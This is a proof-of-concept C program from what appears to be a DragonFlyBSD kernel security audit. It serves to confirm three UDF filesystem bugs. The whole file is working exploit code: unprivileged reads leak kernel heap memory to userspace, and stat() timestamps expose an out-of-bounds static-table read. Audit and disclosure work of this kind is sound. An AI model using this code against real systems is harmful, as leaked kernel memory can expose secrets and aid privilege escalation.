⬢ DragonFlyBSD Kernel Audit
DF-3104 / poc.c
← back to finding ↓ download raw
/*
 * DF-3102 / DF-3103 / DF-3104 -- pass-2 UDF PoC (runs as UNPRILEGED user).
 *
 * modes:
 *   poc leak1 <file>          DF-3102: unaligned-offset read walks off the
 *                             end of the buffer-cache buf (udf_vnops.c:1057
 *                             data = b_data + offset%bsize with no matching
 *                             size clamp) -> kernel heap bytes copied to
 *                             userspace by read().
 *   poc emb <file> [n]        DF-3103: open()+read() an embedded-ICB file
 *                             whose FE l_ea/l_ad wrap udf_vget's int size
 *                             (vfsops:527) -> readatoffset embedded path
 *                             (vnops:1037-1039) returns &fentry->data[0x1000]
 *                             with *size = -5936 -> uiomove((size_t)-5936)
 *                             moves uio_resid bytes from OOB heap.
 *   poc ts <mnt>              DF-3104: stat() T10..T31 (mtime month = 10..31,
 *                             leap year) -> mon_lens[1][12..30] OOB static
 *                             read, observable via st_mtime differences.
 *
 * Build: cc -O2 -Wall -o poc poc.c
 */
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static void
hexdump(const char *label, const uint8_t *p, size_t n)
{
	size_t i;
	printf("%s [%zu bytes]\n", label, n);
	for (i = 0; i < n; i += 16) {
		size_t j;
		printf("  %04zx: ", i);
		for (j = 0; j < 16 && i + j < n; j++)
			printf("%02x ", p[i + j]);
		printf(" ");
		for (j = 0; j < 16 && i + j < n; j++) {
			uint8_t c = p[i + j];
			printf("%c", (c >= 32 && c < 127) ? c : '.');
		}
		printf("\n");
	}
}

static int
leak1(const char *path)
{
	uint8_t good[3048], bad[2048], bad2[2048], bad3[2048];
	ssize_t rn;
	int fd, i, diffbytes = 0, runs;

	fd = open(path, O_RDONLY);
	if (fd < 0) {
		printf("open %s: %s\n", path, strerror(errno));
		return 1;
	}
	/*
	 * Order matters: the unaligned pread must run FIRST (cold buffer
	 * cache).  A prior block-aligned 4096-byte read of the same block
	 * would leave a larger buffer cached at the same offset and mask
	 * the overread (getblk then returns the existing bigger buffer).
	 */
	for (runs = 0; runs < 3; runs++) {
		uint8_t *dst = runs == 0 ? bad : (runs == 1 ? bad2 : bad3);
		rn = pread(fd, dst, 2048, 1000);
		if (rn != 2048) {
			printf("pread(1000, 2048) run %d returned %zd (%s)\n",
			    runs, rn, strerror(errno));
			return 1;
		}
	}
	/* Correct reference: offset 0 -> in-bounds 4096-byte buffer read. */
	rn = pread(fd, good, sizeof(good), 0);
	if (rn != (ssize_t)sizeof(good)) {
		printf("reference pread returned %zd (%s)\n", rn, strerror(errno));
		return 1;
	}
	printf("reference pread(0, %zu) ok; file[2048:3048] should be 0xAA*1000\n",
	    sizeof(good));
	/* prefix [0,1048) must equal good[1000..2048) */
	if (memcmp(bad, good + 1000, 1048) == 0)
		printf("PREFIX-MATCH: first 1048 bytes correct\n");
	else
		printf("PREFIX-DIFFERS (unexpected)\n");
	diffbytes = 0;
	for (i = 0; i < 1000; i++)
		if (bad[1048 + i] != good[2048 + i])
			diffbytes++;
	printf("tail (bytes 1048..2048) differs from expected disk data "
	    "in %d/1000 bytes\n", diffbytes);
	printf("tail identical across 3 runs: %s\n",
	    (memcmp(bad + 1048, bad2 + 1048, 1000) == 0 &&
	     memcmp(bad2 + 1048, bad3 + 1048, 1000) == 0) ? "YES" : "NO");
	hexdump("leaked tail (run 1, first 256 bytes):", bad + 1048, 256);
	if (diffbytes > 0) {
		printf("DF3102_LEAK_CONFIRMED: %d bytes past the 2048-byte buf "
		    "boundary returned to userspace\n", diffbytes);
		return 0;
	}
	printf("DF3102_NOT_CONFIRMED: tail matched expected 0xAA disk data\n");
	return 1;
}

static int
emb(const char *path, size_t n)
{
	uint8_t *buf;
	ssize_t rn;
	int fd;

	fd = open(path, O_RDONLY);
	if (fd < 0) {
		printf("open %s: %s\n", path, strerror(errno));
		return 1;
	}
	buf = malloc(n);
	rn = read(fd, buf, n);
	if (rn < 0) {
		printf("read(%zu) failed: %s\n", n, strerror(errno));
		return 1;
	}
	printf("read() returned %zd bytes from embedded file (requested %zu)\n",
	    rn, n);
	hexdump("bytes returned (OOB kernel heap beyond 512-byte fentry):",
	    buf, (size_t)rn);
	if (rn > 0) {
		printf("DF3103_LEAK_CONFIRMED: %zd bytes copied from kernel heap "
		    "at fentry->data[0x1000] (~3.7KB past a 512-byte "
		    "M_UDFFENTRY allocation)\n", rn);
		return 0;
	}
	return 1;
}

static int
ts(const char *mnt)
{
	const long valid[4] = { 28 * 86400, 29 * 86400, 30 * 86400, 31 * 86400 };
	long prev = 0;
	int n, oob_hits = 0, first_bad = -1;

	printf("%4s %20s %14s %s\n", "file", "st_mtime", "diff", "verdict");
	for (n = 10; n <= 31; n++) {
		char path[256];
		struct stat sb;
		long d;

		snprintf(path, sizeof(path), "%s/T%d", mnt, n);
		if (stat(path, &sb)) {
			printf("T%d stat: %s\n", n, strerror(errno));
			return 1;
		}
		d = (n == 10) ? 0 : (long)sb.st_mtim.tv_sec - prev;
		prev = (long)sb.st_mtim.tv_sec;
		if (n == 10) {
			printf("T%-3d %20lld %14s %s\n", n,
			    (long long)sb.st_mtim.tv_sec, "-", "base");
			continue;
		}
		{
			int k, ok = 0;
			for (k = 0; k < 4; k++)
				if (d == valid[k])
					ok = 1;
			if ((long)sb.st_mtim.tv_sec == 0)
				ok = 1;	/* clamped to epoch by the fix */
			/* diff for month n-1 term; mon_lens[1][12] (month>=13
			 * stats) is flat word 24 = first word PAST the array */
			printf("T%-3d %20lld %14ld %s\n", n,
			    (long long)sb.st_mtim.tv_sec, d,
			    ok ? "in-range" : "OUT-OF-RANGE");
			if (!ok && n - 1 >= 12) {
				oob_hits++;
				if (first_bad < 0)
					first_bad = n - 1;
			}
		}
	}
	if (oob_hits > 0) {
		printf("DF3104_OOB_CONFIRMED: %d of the month terms for "
		    "months>=13 read out-of-range words (first at "
		    "mon_lens[1][%d], flat index %d = past the 2x12 array)\n",
		    oob_hits, first_bad, 12 + first_bad);
		return 0;
	}
	printf("DF3104_NOT_CONFIRMED: all month terms looked valid\n");
	return 1;
}

int
main(int argc, char **argv)
{
	if (argc < 3) {
		fprintf(stderr, "usage: %s leak1|emb|ts <path> [nbytes]\n",
		    argv[0]);
		return 2;
	}
	if (strcmp(argv[1], "leak1") == 0)
		return leak1(argv[2]);
	if (strcmp(argv[1], "emb") == 0)
		return emb(argv[2], argc > 3 ? (size_t)atoi(argv[3]) : 96);
	if (strcmp(argv[1], "ts") == 0)
		return ts(argv[2]);
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}